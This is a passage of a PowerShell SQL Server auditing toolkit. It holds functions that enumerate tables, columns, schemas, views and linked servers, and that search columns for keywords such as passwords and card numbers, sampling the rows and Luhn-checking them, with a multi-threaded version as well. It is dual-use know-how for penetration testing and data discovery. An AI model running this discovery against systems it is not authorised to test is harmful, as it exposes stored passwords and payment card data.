} if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Grabbing tables from databases below:" } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup NoDefault filter if($NoDefaults) { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose } else { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose } # Get tables for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - $DbName" } # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], TABLE_CATALOG AS [DatabaseName], TABLE_SCHEMA AS [SchemaName], TABLE_NAME as [TableName], TABLE_TYPE as [TableType] FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] $TableFilter ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblTables = $TblTables + $TblResults } } End { # Return data $TblTables } } # ---------------------------------- # Get-SQLColumn # ---------------------------------- # Author: Scott Sutherland Function Get-SQLColumn { <# .SYNOPSIS Returns column information from target SQL Servers. Supports keyword search. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name filter. .PARAMETER TableName Table name filter. .PARAMETER ColumnName Column name filter. .PARAMETER ColumnNameSearch Column name filter that support wildcards. .PARAMETER NoDefaults Don't list anything from default databases. .EXAMPLE PS C:\> Get-SQLColumn -Verbose -Instance "SQLServer1" .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLColumn -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Table name.')] [string]$TableName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Filter by exact column name.')] [string]$ColumnName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Column name using wildcards in search. Supports comma seperated list.')] [string]$ColumnNameSearch, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblColumns = New-Object -TypeName System.Data.DataTable # Setup table filter if($TableName) { $TableNameFilter = " and TABLE_NAME like '%$TableName%'" } else { $TableNameFilter = '' } # Setup column filter if($ColumnName) { $ColumnFilter = " and column_name like '$ColumnName'" } else { $ColumnFilter = '' } # Setup column filter if($ColumnNameSearch) { $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'" } else { $ColumnSearchFilter = '' } # Setup column search filter if($ColumnNameSearch) { $Keywords = $ColumnNameSearch.split(',') [int]$i = $Keywords.Count while ($i -gt 0) { $i = $i - 1 $Keyword = $Keywords[$i] if($i -eq ($Keywords.Count -1)) { $ColumnSearchFilter = "and column_name like '%$Keyword%'" } else { $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'" } } } } Process { # Note: Tables queried by this function typically require sysadmin or DBO privileges. # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup NoDefault filter if($NoDefaults) { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose } else { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose } # Get tables for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], TABLE_CATALOG AS [DatabaseName], TABLE_SCHEMA AS [SchemaName], TABLE_NAME as [TableName], COLUMN_NAME as [ColumnName], DATA_TYPE as [ColumnDataType], CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength] FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1 $ColumnSearchFilter $ColumnFilter $TableNameFilter ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose # Append results $TblColumns = $TblColumns + $TblResults } } End { # Return data $TblColumns } } # --------------------------------------- # Get-SQLColumnSampleData # --------------------------------------- # Author: Scott Sutherland Function Get-SQLColumnSampleData { <# .SYNOPSIS Returns column information from target SQL Servers. Supports search by keywords, sampling data, and validating credit card numbers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER $NoOutput Don't output any sample data. .PARAMETER SampleSize Number of records to sample. .PARAMETER Keywords Number of records to sample. .PARAMETER DatabaseName Database to filter on. .PARAMETER ValidateCC Use Luhn formula to check if sample is a valid credit card. Column name filter that support wildcards. .PARAMETER NoDefaults Don't show columns from default databases. .EXAMPLE PS C:\> Get-SQLColumnSampleData -verbose -Instance SQLServer1\STANDARDDEV2014 -Keywords "account,credit,card" -SampleSize 5 -ValidateCC| ft -AutoSize VERBOSE: SQLServer1\STANDARDDEV2014 : START SEARCH DATA BY COLUMN VERBOSE: SQLServer1\STANDARDDEV2014 : CONNECTION SUCCESS VERBOSE: SQLServer1\STANDARDDEV2014 : - Searching for column names that match criteria... VERBOSE: SQLServer1\STANDARDDEV2014 : - Column match: [testdb].[dbo].[tracking].[card] VERBOSE: SQLServer1\STANDARDDEV2014 : - Selecting 5 rows of data sample from column [testdb].[dbo].[tracking].[card]. VERBOSE: SQLServer1\STANDARDDEV2014 : COMPLETED SEARCH DATA BY COLUMN ComputerName Instance Database Schema Table Column Sample RowCount IsCC ------------ -------- -------- ------ ----- ------ ------ -------- ---- SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 4111111111111111 2 True SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 41111111111ASDFD 2 False .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLColumnSampleData -Keywords "account,credit,card" -SampleSize 5 -ValidateCC #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [switch]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Number of records to sample.')] [int]$SampleSize = 1, [Parameter(Mandatory = $false, HelpMessage = 'Comma seperated list of keywords to search for.')] [string]$Keywords = 'Password', [Parameter(Mandatory = $false, HelpMessage = 'Database name to filter on.')] [string]$DatabaseName, [Parameter(Mandatory = $false, HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')] [switch]$ValidateCC, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Database') $null = $TblData.Columns.Add('Schema') $null = $TblData.Columns.Add('Table') $null = $TblData.Columns.Add('Column') $null = $TblData.Columns.Add('Sample') $null = $TblData.Columns.Add('RowCount') if($ValidateCC) { $null = $TblData.Columns.Add('IsCC') } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : CONNECTION FAILED" } Return } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : START SEARCH DATA BY COLUMN" Write-Verbose -Message "$Instance : - Connection Success." Write-Verbose -Message "$Instance : - Searching for column names that match criteria..." } if($NoDefaults) { # Search for columns $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults -SuppressVerbose }else { $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -SuppressVerbose } } # Check if columns were found if($Columns) { # List columns found $Columns| ForEach-Object -Process { $sDatabaseName = $_.DatabaseName $sSchemaName = $_.SchemaName $sTableName = $_.TableName $sColumnName = $_.ColumnName $AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]" $AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]" $Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null" $QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null" # Status user if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - Column match: $AffectedColumn" Write-Verbose -Message "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn." } # Get row count for column matches $RowCount = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $QueryRowCount -SuppressVerbose | Select-Object -Property NumRows -ExpandProperty NumRows # Get sample data Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $Query -SuppressVerbose | Select-Object -ExpandProperty $sColumnName | ForEach-Object -Process { if($ValidateCC) { # Check if value is CC $Value = 0 if([uint64]::TryParse($_,[ref]$Value)) { $LuhnCheck = Test-IsLuhnValid $_ -ErrorAction SilentlyContinue } else { $LuhnCheck = 'False' } # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount, $LuhnCheck) } else { # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount) } } } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - No columns were found that matched the search." } } # Status User if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : END SEARCH DATA BY COLUMN" } } End { # Return data if ( -not $NoOutput) { Return $TblData } } } # --------------------------------------- # Get-SQLColumnSampleDataThreaded # --------------------------------------- # Author: Scott Sutherland Function Get-SQLColumnSampleDataThreaded { <# .SYNOPSIS Returns column information from target SQL Servers. Supports search by keywords, sampling data, and validating credit card numbers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER $NoOutput Don't output any sample data. .PARAMETER SampleSize Number of records to sample. .PARAMETER Keywords Comma seperated list of keywords to search for. .PARAMETER DatabaseName Database to filter on. .PARAMETER NoDefaults Don't show columns from default databases. .PARAMETER ValidateCC Use Luhn formula to check if sample is a valid credit card. .PARAMETER Threads Number of concurrent host threads. .EXAMPLE PS C:\> Get-SQLColumnSampleDataThreaded -verbose -Instance SQLServer1\STANDARDDEV2014 -Keywords "account,credit,card" -SampleSize 5 -ValidateCC | ft -AutoSize VERBOSE: SQLServer1\STANDARDDEV2014 : START SEARCH DATA BY COLUMN VERBOSE: SQLServer1\STANDARDDEV2014 : CONNECTION SUCCESS VERBOSE: SQLServer1\STANDARDDEV2014 : - Searching for column names that match criteria... VERBOSE: SQLServer1\STANDARDDEV2014 : - Column match: [testdb].[dbo].[tracking].[card] VERBOSE: SQLServer1\STANDARDDEV2014 : - Selecting 5 rows of data sample from column [testdb].[dbo].[tracking].[card]. VERBOSE: SQLServer1\STANDARDDEV2014 : COMPLETED SEARCH DATA BY COLUMN ComputerName Instance Database Schema Table Column Sample RowCount IsCC ------------ -------- -------- ------ ----- ------ ------ -------- ---- SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 4111111111111111 2 True SQLServer1 SQLServer1\STANDARDDEV2014 testdb dbo tracking card 41111111111ASDFD 2 False .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLColumnSampleDataThreaded -Keywords "account,credit,card" -SampleSize 5 -ValidateCC -Threads 10 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [string]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Number of records to sample.')] [int]$SampleSize = 1, [Parameter(Mandatory = $false, HelpMessage = 'Comma seperated list of keywords to search for.')] [string]$Keywords = 'Password', [Parameter(Mandatory = $false, HelpMessage = 'Database name to filter on.')] [string]$DatabaseName, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')] [switch]$ValidateCC, [Parameter(Mandatory = $false, HelpMessage = 'Number of threads.')] [int]$Threads = 5, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Database') $null = $TblData.Columns.Add('Schema') $null = $TblData.Columns.Add('Table') $null = $TblData.Columns.Add('Column') $null = $TblData.Columns.Add('Sample') $null = $TblData.Columns.Add('RowCount') if($ValidateCC) { $null = $TblData.Columns.Add('IsCC') } # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable # set instance to local host by default if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Ensure provided instance is processed if($Instance) { $ProvideInstance = New-Object -TypeName PSObject -Property @{ Instance = $Instance } } # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance } Process { # Create list of pipeline items $PipelineItems = $PipelineItems + $_ } End { # Define code to be multi-threaded $MyScriptBlock = { # Set instance $Instance = $_.Instance # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : CONNECTION FAILED" } Return } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : START SEARCH DATA BY COLUMN" Write-Verbose -Message "$Instance : - Connection Success." Write-Verbose -Message "$Instance : - Searching for column names that match criteria..." } if($NoDefaults) { # Search for columns $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults -SuppressVerbose }else { $Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -SuppressVerbose } } # Check if columns were found if($Columns) { # List columns found $Columns| ForEach-Object -Process { $sDatabaseName = $_.DatabaseName $sSchemaName = $_.SchemaName $sTableName = $_.TableName $sColumnName = $_.ColumnName $AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]" $AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]" $Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null" $QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null" # Status user if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - Column match: $AffectedColumn" Write-Verbose -Message "$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn." } # Get row count for column matches $RowCount = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $QueryRowCount -SuppressVerbose | Select-Object -Property NumRows -ExpandProperty NumRows # Get sample data Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $Query -SuppressVerbose | Select-Object -ExpandProperty $sColumnName | ForEach-Object -Process { if($ValidateCC) { # Check if value is CC $Value = 0 if([uint64]::TryParse($_,[ref]$Value)) { $LuhnCheck = Test-IsLuhnValid $_ -ErrorAction SilentlyContinue } else { $LuhnCheck = 'False' } # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount, $LuhnCheck) } else { # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount) } } } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - No columns were found that matched the search." } } # Status User if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : END SEARCH DATA BY COLUMN" } } # Run scriptblock using multi-threading $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue return $TblData } } # ---------------------------------- # Get-SQLDatabaseSchema # ---------------------------------- # Author: Scott Sutherland Function Get-SQLDatabaseSchema { <# .SYNOPSIS Returns schema information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC Connect using Dedicated Admin Connection. .PARAMETER DatabaseName Database name to filter for. .PARAMETER SchemaName Schema name to filter for. .PARAMETER NoDefaults Only show information for non default databases. .EXAMPLE PS C:\> Get-SQLDatabaseSchema -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : testdb SchemaName : db_accessadmin SchemaOwner : db_accessadmin [TRUNCATED] .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseSchema -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Schema name.')] [string]$SchemaName, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblSchemas = New-Object -TypeName System.Data.DataTable # Setup schema filter if($SchemaName) { $SchemaNameFilter = " where schema_name like '%$SchemaName%'" } else { $SchemaNameFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup NoDefault filter if($NoDefaults) { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose } else { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose } # Get tables for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Grabbing Schemas from the $DbName database..." } # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], CATALOG_NAME as [DatabaseName], SCHEMA_NAME as [SchemaName], SCHEMA_OWNER as [SchemaOwner] FROM [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] $SchemaNameFilter ORDER BY SCHEMA_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose # Append results $TblSchemas = $TblSchemas + $TblResults } } End { # Return data $TblSchemas } } # ---------------------------------- # Get-SQLView # ---------------------------------- # Author: Scott Sutherland Function Get-SQLView { <# .SYNOPSIS Returns view information from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name to filter for. .PARAMETER ViewName View name to filter for. .PARAMETER NoDefaults Only display results from non default databases. .EXAMPLE PS C:\> Get-SQLView -Instance SQLServer1\STANDARDDEV2014 -DatabaseName master ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseName : master SchemaName : dbo ViewName : spt_values ViewDefinition : create view spt_values as select name collate database_default as name, number, type collate database_default as type, low, high, status from sys.spt_values IsUpdatable : NO CheckOption : NONE .EXAMPLE PS C:\> Get-SQLInstanceDomain | Get-SQLView -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'View name.')] [string]$ViewName, [Parameter(Mandatory = $false, HelpMessage = "Don't select tables from default databases.")] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Table for output $TblViews = New-Object -TypeName System.Data.DataTable # Setup View filter if($ViewName) { $ViewFilter = " where table_name like '%$ViewName%'" } else { $ViewFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose -Message "$Instance : Grabbing views from the databases below:" } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup NoDefault filter if($NoDefaults) { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose } else { # Get list of databases $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose } # Get tables for each database $TblDatabases | ForEach-Object -Process { # Get database name $DbName = $_.DatabaseName if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : - $DbName" } # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], TABLE_CATALOG as [DatabaseName], TABLE_SCHEMA as [SchemaName], TABLE_NAME as [ViewName], VIEW_DEFINITION as [ViewDefinition], IS_UPDATABLE as [IsUpdatable], CHECK_OPTION as [CheckOption] FROM [INFORMATION_SCHEMA].[VIEWS] $ViewFilter ORDER BY TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results $TblViews = $TblViews + $TblResults } } End { # Return data $TblViews } } # ---------------------------------- # Get-SQLServerLink # ---------------------------------- # Author: Scott Sutherland Function Get-SQLServerLink { <# .SYNOPSIS Returns link servers from target SQL Servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseLinkName Database link name to filter for. .EXAMPLE PS C:\> Get-SQLServerLink -Instance SQLServer1\STANDARDDEV2014 ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseLinkId : 0 DatabaseLinkName : SQLServer1\STANDARDDEV2014 DatabaseLinkLocation : Local Product : SQL Server Provider : SQLNCLI Catalog : Local Login : Uses Self Credentials RemoteLoginName : is_rpc_out_enabled : True is_data_access_enabled : False modify_date : 3/13/2016 12:30:33 PM ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseLinkId : 1 DatabaseLinkName : SQLServer2\SQLEXPRESS DatabaseLinkLocation : Remote Product : SQL Server Provider : SQLNCLI Catalog : Local Login : RemoteLoginName : user123 is_rpc_out_enabled : False is_data_access_enabled : True modify_date : 5/6/2016 10:20:44 AM .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLServerLink -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server link name.')] [string]$DatabaseLinkName, [Parameter(Mandatory = $false, 